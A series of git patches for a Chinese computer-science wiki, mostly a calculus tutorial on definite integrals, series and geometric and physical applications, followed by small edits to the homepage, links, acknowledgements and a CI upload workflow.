_**![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564241435483-8be6a610-4c85-4cf1-9462-2098bcfa62f3.png#align=left&display=inline&height=130&name=image.png&originHeight=228&originWidth=807&size=41698&status=done&style=none&width=461.14285714285717)**(3)求$a_n$的极限
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564744389393-b8440935-0e4b-4929-9051-0fdd2f777195.png#align=left&display=inline&height=202&name=image.png&originHeight=404&originWidth=715&size=151214&status=done&style=none&width=357.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564744402464-00a0d4fb-b389-4698-8ff3-10d3636ec0d9.png#align=left&display=inline&height=85&name=image.png&originHeight=169&originWidth=761&size=67350&status=done&style=none&width=380.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564744431484-9a434d95-daa6-41ae-a1e1-d0e6195c320f.png#align=left&display=inline&height=183&name=image.png&originHeight=366&originWidth=771&size=159135&status=done&style=none&width=385.5)
(3)结果为0,证法和高阶三角函数一样。 - -# 四:利用级数对定积分进行估值 - - -## 4.1常用的几种级数 -基本的思路是:把函数做泰勒展开,交换积分和求和符号,对每一项幂函数进行积分,最后合并即可。
下面给出三个重要常数: - -(a)$\sum_{n=1}^{\infty}\frac{1}{n^2}=\frac{\pi^2}{6}$    (b)$\sum_{n=1}^{\infty}\frac{(-1)^{n-1}}{n}=ln2$   (c)$\sum_{n=1}^{\infty}\frac{(-1)^{n-1}}{(2m-1)^2}\approx0.92$ - -此类级数可由初等函数泰勒展开后将x=1或x=-1代入得到。 - -这里给出简单的证明:
(a)$\sum_{n=1}^{\infty}\frac{1}{n^2}=\frac{\pi^2}{6}$
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564242905610-5bf4dd0a-0a52-4b38-8e7d-485eed0eb53d.png#align=left&display=inline&height=647&name=image.png&originHeight=1132&originWidth=1839&size=226683&status=done&style=none&width=1050.857142857143)
(b)$\sum_{n=1}^{\infty}\frac{(-1)^{n-1}}{n}=ln2$ 
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564243200904-46e01aa2-ff5f-4e91-96c6-24ffac42527b.png#align=left&display=inline&height=120&name=image.png&originHeight=254&originWidth=712&size=47782&status=done&style=none&width=337)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564243217478-d04ddecb-e9a1-4b7d-965a-e574fc3ac5d6.png#align=left&display=inline&height=155&name=image.png&originHeight=387&originWidth=658&size=51785&status=done&style=none&width=264) - -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564243252320-7f8fe6d6-ee10-491f-903c-e88ec528e339.png#align=left&display=inline&height=58&name=image.png&originHeight=101&originWidth=821&size=16857&status=done&style=none&width=469.14285714285717)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564243274256-af7edc4a-1c6b-4dbe-ac11-9d21eeec71df.png#align=left&display=inline&height=76&name=image.png&originHeight=133&originWidth=645&size=27056&status=done&style=none&width=368.57142857142856)
(c)$\sum_{n=1}^{\infty}\frac{(-1)^{n-1}}{(2m-1)^2}\approx0.92$
$\int_0^1\frac{arctan(x)}{x}dx=\int_0^1\frac{1}{x}\sum_{n=0}^{\infty}(-1)^n\frac{1}{2n+1}x^{2n+1}dx=\int_0^1\sum_{n=0}^{\infty}(-1)^n\frac{1}{2n+1}x^{2n}dx=\sum_{n=0}^{\infty}(-1)^n\frac{1}{2n+1}\int_0^1x^{2n}dx$$\sum_{n=0}^{\infty}(-1)^n\frac{1}{(2n+1)^2}x^{2n+1}|_0^1=\sum_{n=0}^{\infty}(-1)^n\frac{1}{(2n+1)^2}=G\approx0.92$ (这可以利用计算机对此积分估值得到) - -在计算积分时,通常通过上述思路把积分化为上述重要常数,进而直接得出结果。 - - -## 4.2将定积分转换为级数 -_**Example1:重要常数(a)**_
$\int_0^1ln(x)ln(1-x)dx$
答案:
[视频链接](https://www.youtube.com/watch?v=q9jbmEGClSk&list=PLj7p5OoL6vGzJxJU1seMmj-5CBNhMYStQ&index=8)
_**Example2:重要常数(c)**_
(a) $\int_0^{\pi/4}ln(tan(x))dx$       (b)  $\int_0^{\pi/4}ln(cot(x))dx$
对于(a),令$t=tan(x)$ ,换元后可得:
$\int_0^1ln(t)d arctan(t)=[ln(t)arctan(t)]|_0^1-\int_0^1arctant\frac{dt}{t}=-\int_0^1arctant\frac{dt}{t}=-G\approx-0.92$ - - -# 五:特殊积分 - - -## 5.1伽马函数 -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564245497241-6c16b905-d759-4bd8-af5d-db0cabfc0046.png#align=left&display=inline&height=190&name=image.png&originHeight=333&originWidth=1344&size=87735&status=done&style=none&width=768)
维基百科点击下方链接:
[WIKI百科](https://zh.wikipedia.org/wiki/%CE%93%E5%87%BD%E6%95%B0)
下面为详细的视频教程
1:定义伽马函数
[视频链接](https://www.youtube.com/watch?v=L4Trz6pFut4&t=21s)
2:$(\frac{1}{2})!$
[视频链接](https://www.youtube.com/watch?v=dBmApl6gkII&t=5s)
3:$(-1)!$
[视频链接](https://www.youtube.com/watch?v=MfP2FQPBdHI&t=294s)
4:$n!!$
[视频链接](https://www.youtube.com/watch?v=imcooZyo4vE) - -## 5.2分段函数积分 -此类题目的关键是原函数的连续性要求,通过待定系数求解,具体见不定积分中的[特殊积分部分](https://www.yuque.com/uhhida/tcgb6r/dg7du1)。 - -## 5.3变限积分 -形如$I(x)=\int_a^xf(t)dt$ 的积分叫做变限积分,他的本质是一个自变量在积分限的函数。
变限积分的求导法则尤其重要。此类题目需要扎实的数学分析思想,极其易错,具体内容见[积分证明框架](https://www.yuque.com/uhhida/tcgb6r/pcc7t2)。 - -## 5.4反常积分 -具体内容见[积分证明框架](https://www.yuque.com/uhhida/tcgb6r/pcc7t2) - -# 六:定积分的应用 -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564724099303-6e2cfef5-7f4f-46e6-9a00-3632de75a170.png#align=left&display=inline&height=40&name=image.png&originHeight=80&originWidth=420&size=14148&status=done&style=none&width=210)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564724119486-04a2024a-c37c-4301-864a-3d9c834a9a9e.png#align=left&display=inline&height=183&name=image.png&originHeight=482&originWidth=1078&size=80537&status=done&style=none&width=410)
我们可以看到定积分的本质就是微元法取极限,所以一些几何和物理问题都可以用微元法的思想解决。
_**Example1:**_
已知一段半圆弧电荷密度为+1,计算圆心处的电场强度。
![fullsizerender.jpg](https://cdn.nlark.com/yuque/0/2019/jpeg/422826/1564726073432-5b1cdc3e-832e-4bba-a49d-9393ac0851d9.jpeg#align=left&display=inline&height=188&name=fullsizerender.jpg&originHeight=661&originWidth=668&size=149950&status=done&style=none&width=190)
注意,这类题目直接用几何解法更快,由库仑定律得,两段对称的微弧对圆心的电场作用为:
$\Delta E=2\Delta E'cos\theta=\frac{2k\Delta lcos\theta}{R^2}=\frac{2k\Delta r}{R^2}$
$\Delta r$代表上图小三角形垂直部分,$\sum \Delta r=R$ ,所以:
$E=\sum\Delta E=\frac{2k}{R^2}\sum\Delta r=\frac{2k}{R}$
_**Example2:**_
我们可以利用微元法找到极坐标的面积公式
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564728031738-6389fbcd-0f0d-4d82-b000-d792baa913a4.png#align=left&display=inline&height=492&name=image.png&originHeight=984&originWidth=1287&size=352109&status=done&style=none&width=643.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564728172614-53554ec7-2afc-4641-80f7-dfb743a52cbf.png#align=left&display=inline&height=168&name=image.png&originHeight=335&originWidth=1248&size=112129&status=done&style=none&width=624) - -## 6.1几何问题 - -#### 6.1.1向量簇 -请下载:[New horizons in geometry(几何新视野).pdf](https://www.yuque.com/attachments/yuque/0/2019/pdf/422826/1564708063142-a6a603c9-ef19-42c5-bbac-3a746583ac46.pdf?_lake_card=%7B%22uid%22%3A%22rc-upload-1564707962520-4%22%2C%22src%22%3A%22https%3A%2F%2Fwww.yuque.com%2Fattachments%2Fyuque%2F0%2F2019%2Fpdf%2F422826%2F1564708063142-a6a603c9-ef19-42c5-bbac-3a746583ac46.pdf%22%2C%22name%22%3A%22New%20horizons%20in%20geometry(%E5%87%A0%E4%BD%95%E6%96%B0%E8%A7%86%E9%87%8E).pdf%22%2C%22size%22%3A9849775%2C%22type%22%3A%22application%2Fpdf%22%2C%22ext%22%3A%22pdf%22%2C%22progress%22%3A%7B%22percent%22%3A0%7D%2C%22status%22%3A%22done%22%2C%22percent%22%3A0%2C%22id%22%3A%227fZdG%22%2C%22card%22%3A%22file%22%7D)阅读第一章。
这里只讲一个拓扑定理:切线向量扫过的面积等于将这些向量在不改变方向和长度的情况下,将所有的向量尾部接到一起时所组成的图形的面积相等。即切线扫过的面积等于切线簇的面积,如图所示。
![1.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564563618443-10927c87-f8b6-4721-a937-1cad65a45ffc.png#align=left&display=inline&height=270&name=1.png&originHeight=440&originWidth=591&size=68793&status=done&style=none&width=363)
想象一辆自行车,其尾部车轮始终与某一闭合轨迹相切,也就是骑了一圈,那么无论骑行轨迹如何,自行车车身划过的面积始终不变。如上图所示,将一簇切线在不改变方向和长度的情况下尾部连接在一起,他们所组成的形状面积和原来扫过的面积相同,且原来图形的形状可以任意。
和开普勒第二定律及椭圆面积的关系:[视频链接](https://www.bilibili.com/video/av28012188)
_**Example3:**_
利用该定理证明$\int_{-\infty}^{x}e^{t/b}dt=be^{x/b}$
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564723539303-473f82f6-ae9d-4349-9888-bee69fe5358e.png#align=left&display=inline&height=161&name=image.png&originHeight=322&originWidth=574&size=32121&status=done&style=none&width=287)
显然,所有切线构成的三角形底边长度都是1,把所有的切线全部放到黄色三角形内,尾部连接在一起,就得到积分的面积是两倍三角形的面积,即$be^{x/b}$。
_**Example4:**_
利用该定理求摆线下方的面积。
![](https://cdn.nlark.com/yuque/0/2019/gif/422826/1564564061025-8772fb4c-acf7-4304-941f-7978e4dc58a8.gif#align=left&display=inline&height=200&originHeight=200&originWidth=400&size=0&status=done&style=none&width=400)
摆线相关知识点击:[维基百科](https://zh.wikipedia.org/wiki/%E6%91%86%E7%BA%BF)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564746231254-8815eda2-4876-44ed-a2b6-12118a04393d.png#align=left&display=inline&height=188&name=image.png&originHeight=467&originWidth=1498&size=106153&status=done&style=none&width=604)
由于PT垂直于PC(在圆内),又因为点P在每个瞬时相对于点C做圆周运动,所以PT必然是点P的切向运动方向,所以PT也是摆线的切线,DOT的面积(及切线扫过的面积)等于右图中切线簇的面积(将所有切线平移到点T)。更具体的说,圆在运动时,点P划过了一段圆弧,在每一个中间点,都可以做线段PT,线段PT既扫过了DOT,也同时覆盖了T'P'C',故两者面积相等。
当圆旋转一周时,切线划过了整个摆线上方的面积,这面积等于切线簇的面积$\pi R^2$,而整个矩形的面积是$2\pi R\cdot 2R=4\pi R^2$,所以摆线下方的面积为$4\pi R^2-\pi R^2=3\pi R^2$。
利用参数方程的证明方法见下文。 - -#### 6.1.2体积 -这里依然是微元法,我们讲两种求旋转体体积的方法:切片法和圆柱法
**切片法:**
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564728579605-5d9263e3-5038-4290-9ba4-65a8ba5a3206.png#align=left&display=inline&height=99&name=image.png&originHeight=197&originWidth=853&size=57428&status=done&style=none&width=426.5)
A(x)就是x处物体的面积,$\Delta x$就是高度,两者相乘就是和x有关的一个体积微元,求和或积分后就得到了整个体积。
_**Example5:**_
求$y=x$和$y=x^2$中间的部分绕$y=2$旋转一周所得到的图像的体积。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564729612450-344d6106-b0c7-4671-b4f1-22c31bbc27f8.png#align=left&display=inline&height=217&name=image.png&originHeight=483&originWidth=814&size=84256&status=done&style=none&width=366)
本题的关键是千万不要把正负号弄错,x和y的正负号永远是对原始图像而言的!!!
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564729702866-652e5e74-4121-49b8-abc6-e58760549d36.png#align=left&display=inline&height=269&name=image.png&originHeight=559&originWidth=648&size=49651&status=done&style=none&width=312)
_**Example6:**_
求$y=x$和$y=x^2$中间的部分绕$x=-1$旋转一周所得到的图像的体积。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564729792065-60d72c36-c2b7-4981-8287-fb72455edf31.png#align=left&display=inline&height=396&name=image.png&originHeight=791&originWidth=865&size=110080&status=done&style=none&width=432.5) - -**圆柱法:**
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730174773-06dc758f-1634-4e55-8972-258d1ce94fd0.png#align=left&display=inline&height=139&name=image.png&originHeight=278&originWidth=369&size=15043&status=done&style=none&width=184.5)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730326087-04297e8d-415b-4e64-ae20-88fae0efe92a.png#align=left&display=inline&height=117&name=image.png&originHeight=321&originWidth=399&size=29497&status=done&style=none&width=145)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730342813-d175f51d-29ff-46fb-b80c-5b9a48265fd9.png#align=left&display=inline&height=117&name=image.png&originHeight=271&originWidth=845&size=46573&status=done&style=none&width=366)
如图所示,$x_L和x_R$比较难求,当边界无法被解析式表达时,我们对垂直于旋转轴的底面做圆柱分解。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730833273-10b089cf-73ea-4788-af98-2c99c64e4f5c.png#align=left&display=inline&height=272&name=image.png&originHeight=543&originWidth=874&size=72820&status=done&style=none&width=437)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730917008-e54cf47b-11c7-4e53-b672-4e72a8805496.png#align=left&display=inline&height=170&name=image.png&originHeight=340&originWidth=1268&size=111792&status=done&style=none&width=634)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564730960541-957e4d6c-8c67-4679-86a4-dbb26f0ef222.png#align=left&display=inline&height=493&name=image.png&originHeight=985&originWidth=888&size=200136&status=done&style=none&width=444)
一小段圆柱的体积=底面积:$2\pi xdx$ 乘以 高:$f(x)$,之后对自变量求积分。
_**Example7:**_
_**![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564731192372-d2fe0b5f-9062-4f02-87fc-189e778c2160.png#align=left&display=inline&height=276&name=image.png&originHeight=552&originWidth=1570&size=174486&status=done&style=none&width=785)**_
_**![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564731227052-5645e468-39ff-4f4a-9605-4934891d61b3.png#align=left&display=inline&height=325&name=image.png&originHeight=650&originWidth=1130&size=201985&status=done&style=none&width=565)**_
注意:在本题中,圆柱法比切片法简单的多,由于不用求边界,对于具体的题目,根据情况选择两种方法即可。_ - -#### 6.1.3弧长和表面积 -求弧长的方法十分显然,该方法也适用于极坐标,只需用微元法得到公式。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735049026-006e6495-5137-4ced-8248-3146fff0e267.png#align=left&display=inline&height=167&name=image.png&originHeight=333&originWidth=627&size=32754&status=done&style=none&width=313.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735072848-50861c06-992b-4cbb-8e9b-1ff3015a559d.png#align=left&display=inline&height=65&name=image.png&originHeight=129&originWidth=905&size=23014&status=done&style=none&width=452.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735102285-44526d90-8906-4a4a-953a-f298ddaf8819.png#align=left&display=inline&height=552&name=image.png&originHeight=1103&originWidth=1087&size=232574&status=done&style=none&width=543.5)
求表面积的方法也是微元法,如下图所示:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735238189-80848767-e286-4b19-be8e-815ae9cf33cb.png#align=left&display=inline&height=207&name=image.png&originHeight=358&originWidth=409&size=27579&status=done&style=none&width=237)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735284859-b59fbc1c-5a32-4e8a-ab05-5fca9eb2655d.png#align=left&display=inline&height=195&name=image.png&originHeight=390&originWidth=404&size=24795&status=done&style=none&width=202)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735245227-4cfcfb5d-3690-4166-adaf-3226a848ab02.png#align=left&display=inline&height=225&name=image.png&originHeight=450&originWidth=444&size=32892&status=done&style=none&width=222)
已知圆锥表面积是$\pi rl$,现在试图求解一段圆台的表面积,它等于两个圆锥相减。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735348579-cfe256d6-bfc5-4a0d-8ae1-f813cf19f562.png#align=left&display=inline&height=168&name=image.png&originHeight=335&originWidth=862&size=39570&status=done&style=none&width=431)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735368083-a876b283-20a4-428e-9eba-594325196a95.png#align=left&display=inline&height=186&name=image.png&originHeight=372&originWidth=791&size=42136&status=done&style=none&width=395.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735424706-ad6adca0-3e29-4104-a107-7c158b1e97d1.png#align=left&display=inline&height=158&name=image.png&originHeight=315&originWidth=455&size=34365&status=done&style=none&width=227.5)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735432291-3887db4d-0c54-472e-a851-03ec6b8b60c6.png#align=left&display=inline&height=164&name=image.png&originHeight=327&originWidth=477&size=44272&status=done&style=none&width=238.5)
如上图所示,将任意旋转体分成无数小圆台,进行求和即可(这里为什么不能用圆柱做微元法?)。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735492704-501318e3-dc45-480c-848c-cf9aa58d8821.png#align=left&display=inline&height=470&name=image.png&originHeight=940&originWidth=832&size=179318&status=done&style=none&width=416)
最后我们得到了表面积的表达式:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735531566-c052e449-b816-47af-b0fb-ef7d515ece96.png#align=left&display=inline&height=543&name=image.png&originHeight=1085&originWidth=824&size=164515&status=done&style=none&width=412)
_**Example8:**_
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735620477-50414564-495c-4c2b-b224-793c8d9bb15d.png#align=left&display=inline&height=318&name=image.png&originHeight=636&originWidth=1197&size=142634&status=done&style=none&width=598.5) - -#### 6.1.4极坐标和参数方程 -**参数方程:**
参数方程本质就是把x和y想成某个变量t的函数,利用链式法则可以把微积分的计算用参数方程实现。
微分:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736398380-6429c462-a4fd-4026-82fe-5e232fe16a68.png#align=left&display=inline&height=94&name=image.png&originHeight=188&originWidth=632&size=12125&status=done&style=none&width=316)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736410417-709321c3-f481-4259-8789-427eaf274d66.png#align=left&display=inline&height=75&name=image.png&originHeight=149&originWidth=408&size=12720&status=done&style=none&width=204)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736419104-a0a2821f-8dc7-4e91-80bf-d48bfe4b8e92.png#align=left&display=inline&height=61&name=image.png&originHeight=121&originWidth=260&size=7967&status=done&style=none&width=130)
求面积:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736476918-0590bf2a-c680-4c20-8b1d-a353c97f20e3.png#align=left&display=inline&height=82&name=image.png&originHeight=186&originWidth=1048&size=31724&status=done&style=none&width=460)
求长度:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736526039-2ebd1e65-a2dd-489d-9a64-71528f31163f.png#align=left&display=inline&height=131&name=image.png&originHeight=380&originWidth=1516&size=130868&status=done&style=none&width=522)
_**Example9:**_
我们以摆线为例,将摆线方程建模为关于转动角度的函数,如下图所示。
![](https://cdn.nlark.com/yuque/0/2019/gif/422826/1564564061025-8772fb4c-acf7-4304-941f-7978e4dc58a8.gif#align=left&display=inline&height=152&originHeight=200&originWidth=400&size=0&status=done&style=none&width=303)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564735810521-60b56f59-1282-4d91-a789-39b4dd04a294.png#align=left&display=inline&height=178&name=image.png&originHeight=356&originWidth=336&size=25573&status=done&style=none&width=168)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736092449-9ca73029-a1f7-4596-8e8a-561821aa44c6.png#align=left&display=inline&height=281&name=image.png&originHeight=498&originWidth=824&size=108912&status=done&style=none&width=465)
摆线的面积:方法只是简单的换元。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736174058-a5323d28-5dae-4876-8d23-91f700c0892a.png#align=left&display=inline&height=252&name=image.png&originHeight=504&originWidth=1136&size=164383&status=done&style=none&width=568)
摆线的周长:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736242267-186b3d0e-3341-4b79-b349-18bd1a5f5855.png#align=left&display=inline&height=106&name=image.png&originHeight=211&originWidth=811&size=50267&status=done&style=none&width=405.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564736259329-b43d099d-580d-45d3-a1cc-5c13753f3636.png#align=left&display=inline&height=298&name=image.png&originHeight=596&originWidth=1189&size=167924&status=done&style=none&width=594.5)
摆线相关知识点击:[维基百科](https://zh.wikipedia.org/wiki/%E6%91%86%E7%BA%BF)
摆线的本质是最速降线,请看3B1B的视频:[视频链接](https://www.bilibili.com/video/av6385842)
另一个相关视频:[费马小定理](https://www.bilibili.com/video/av4283063)
**极坐标:**
极坐标求面积公式前面已给出:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739380608-f0e0eb6d-9b48-40ef-a65d-a148d2c37c25.png#align=left&display=inline&height=40&name=image.png&originHeight=80&originWidth=397&size=8505&status=done&style=none&width=198.5)
求弧长的公式推导依然是微元法:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739460366-b122fcba-a853-41d1-a20f-b7a96605226e.png#align=left&display=inline&height=194&name=image.png&originHeight=388&originWidth=1179&size=96692&status=done&style=none&width=589.5)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739475794-c4ced533-af66-4cca-817a-ce84ce59c500.png#align=left&display=inline&height=468&name=image.png&originHeight=936&originWidth=1162&size=165419&status=done&style=none&width=581)
更直观的方法是:弧长显然等于径向速度与法向速度之和。$\Delta l=\sqrt{(dr)^2+(rd\theta)^2}$
_**Example10:**_
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739512792-d8161131-1dea-47fd-af31-5fb8888bc10d.png#align=left&display=inline&height=238&name=image.png&originHeight=475&originWidth=1740&size=183958&status=done&style=none&width=870) - -_**Example11:**_
本题请务必自己手算一遍。
_**![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739703550-2719ccb5-7c3a-4587-b76f-6d642c16f520.png#align=left&display=inline&height=139&name=image.png&originHeight=278&originWidth=1402&size=558840&status=done&style=none&width=701)**_
_**![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564739743058-7ede1aae-d19a-4a12-a962-768434331a7d.png#align=left&display=inline&height=566&name=image.png&originHeight=1155&originWidth=1431&size=2451173&status=done&style=none&width=701)**_ - -## 6.2物理问题 - -#### 6.2.1质心 -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742115000-018bb313-2aa7-416e-af90-a537fd32df00.png#align=left&display=inline&height=163&name=image.png&originHeight=325&originWidth=490&size=18641&status=done&style=none&width=245)![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742126521-978d71c8-5b50-40bf-8ac2-3e2b28bfd52f.png#align=left&display=inline&height=175&name=image.png&originHeight=405&originWidth=485&size=36089&status=done&style=none&width=209)
质心和势相关,是力学中研究旋转的概念,质心和势一般来说是对于某个转轴的定义。
质心是一个点,在这点上施加外力不会引起系统的旋转。
势是物体旋转的惯性,表示在施加外力后系统旋转的能力。
如上图所示,区域R具有恒定密度,它相对于y轴和x轴的势计算方法如下:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742398345-dc83039e-653b-478d-8087-447a48eaf146.png#align=left&display=inline&height=60&name=image.png&originHeight=119&originWidth=630&size=18290&status=done&style=none&width=315)(相当于每个矩形到y轴距离x乘以每个矩形面积f(x)dx)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742417600-503bf00a-7b59-4a3d-9610-062310bead42.png#align=left&display=inline&height=57&name=image.png&originHeight=113&originWidth=707&size=19660&status=done&style=none&width=353.5)(相当于每个矩形中点到x轴距离f(x)/2乘每个矩形面积f(x)dx)
上式除以总质量就得到了质心:
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742797455-a0968736-8f97-4112-8a08-a97d7034cc22.png#align=left&display=inline&height=186&name=image.png&originHeight=371&originWidth=678&size=59151&status=done&style=none&width=339)
_**Example12:**_
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564742837779-73275432-9494-42b4-b7bf-cb03b9e2952f.png#align=left&display=inline&height=478&name=image.png&originHeight=956&originWidth=1738&size=218957&status=done&style=none&width=869) - -#### 6.2.2电磁场 -_**Example13:**_
一根电荷密度为+1的,长度为L的直导体棒,求距离其中点a的一点的电场强度。
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564743182639-68335172-a503-4a04-86d2-9462f3c93629.png#align=left&display=inline&height=175&name=image.png&originHeight=533&originWidth=628&size=45223&status=done&style=none&width=206)
提示:第一种做法是通过微元法转换成积分,第二种做法是找出与其等价的圆弧。
答案:[点击链接](https://www.bilibili.com/video/av55298726) - -## 6.3一题十解 -_**Example14:**_
求$Ax^2+2Bxy+Cy^2=1(A>0,AC-B^2>0)$所围图形的面积。
解1: - -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564743549317-883a26fe-c7e1-4688-9d64-f8c39451f335.png#align=left&display=inline&height=305&name=image.png&originHeight=609&originWidth=543&size=58299&status=done&style=none&width=271.5)
另外十种解法为:参数方程,极坐标,微分,二重积分,条件极值,线性代数等,具体参见吉米多维奇。 - - - diff --git a/index.md b/index.md index 442427a..51628de 100644 --- a/index.md +++ b/index.md @@ -5,7 +5,7 @@ layout: home hero: name: HDU-CS-WIKI text: HDU计算机科学讲义 - tagline: 如果你有一些建议或者想要完善此 WIKI ,请点击下方的 GitHub 按钮提交 issue 或者 PR ! + tagline: 如果你有一些建议或者想要完善此 WIKI ,请点击下方的 GitHub 按钮查看我们的仓库提交 issue 或者 PR ! image: src: hdu-cs-wiki.svg alt: HDU-CS-WIKI From f9fc397e9a02a513addad2377fa32a3934129cd5 Mon Sep 17 00:00:00 2001 From: zzm <73225535+HanWu311@users.noreply.github.com> Date: Fri, 14 Jul 2023 20:56:50 +0800 Subject: [PATCH 31/85] =?UTF-8?q?Update=204.1=E5=89=8D=E8=A8=80.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 4.人工智能/4.1前言.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/4.人工智能/4.1前言.md b/4.人工智能/4.1前言.md index 3e5497b..bafcb1e 100644 --- a/4.人工智能/4.1前言.md +++ b/4.人工智能/4.1前言.md @@ -84,3 +84,8 @@ # And more? 我们对AI的定义如果仅仅只有这些内容,我认为还是太过于狭隘了,我们可以把知识规划,知识表征等等东西都可以将他划入AI的定义中去,当然这些还期待着你的进一步探索和思考~ + + +# 特别致谢 + +特别感谢IIPL(http://iipl.net.cn/)实验室在本章做的贡献! From b715bb795eeb4074ad0d1d08eabd0130b323c6bd Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 21:07:18 +0800 Subject: [PATCH 32/85] fix: dead link --- 7.网络应用开发/7.1.2.2进阶部分.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/7.网络应用开发/7.1.2.2进阶部分.md b/7.网络应用开发/7.1.2.2进阶部分.md index 0af5400..009baea 100644 --- a/7.网络应用开发/7.1.2.2进阶部分.md +++ b/7.网络应用开发/7.1.2.2进阶部分.md @@ -2,7 +2,7 @@ 请先通读后端基础任务文档: -[基础部分](./7.2.1%E5%9F%BA%E7%A1%80%E9%83%A8%E5%88%86.md) +[基础部分](./7.1.2.1基础部分.md) 你可以清晰地感受到,基础任务并不是一个生产可用的服务,它仅可作为一个 DEMO 用于演示。尝试为它的生产部署之路添砖加瓦! From 0d81d080665eeb2bcbe64e0b9865647ec891438a Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 21:11:35 +0800 Subject: [PATCH 33/85] chore: ci cos --- .github/workflows/cos.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/cos.yaml b/.github/workflows/cos.yaml index f79e709..e7ed034 100644 --- a/.github/workflows/cos.yaml +++ b/.github/workflows/cos.yaml @@ -30,7 +30,7 @@ jobs: BUCKET: hdu-cs-wiki-1307923872 REGION: ap-shanghai run: | - coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION + coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION -m 30 -p 10 tccli configure set secretId $SECRET_ID tccli configure set secretKey $SECRET_KEY tccli configure set region $REGION From c7ef736376db3bf97e3d1870ba441efb39e8827a Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 21:22:10 +0800 Subject: [PATCH 34/85] =?UTF-8?q?Update=204.1=E5=89=8D=E8=A8=80.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 4.人工智能/4.1前言.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/4.人工智能/4.1前言.md b/4.人工智能/4.1前言.md index bafcb1e..fc05421 100644 --- a/4.人工智能/4.1前言.md +++ 